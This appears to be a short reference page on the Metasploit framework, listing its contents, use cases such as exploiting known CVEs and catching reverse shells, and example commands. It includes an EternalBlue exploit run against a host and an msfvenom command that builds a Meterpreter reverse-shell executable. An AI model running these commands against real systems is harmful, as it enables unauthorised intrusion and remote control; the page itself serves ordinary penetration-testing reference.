// what it is
Description
The standard offensive toolkit for the last 20 years. Ships with 2000+ exploits, 1000+ auxiliary modules, hundreds of payloads, and the Meterpreter post-exploit agent. Every offensive infosec course teaches it.
// use cases
What people use it for
- Quickly exploit a known CVE during a pentest
- Generate payloads via msfvenom
- Catch reverse shells via multi/handler
// commands
The commands you'll type
Console launch
$ msfconsole -qRun an exploit
$ msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 10.0.0.5
msf6 > runGenerate Meterpreter exe
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o p.exe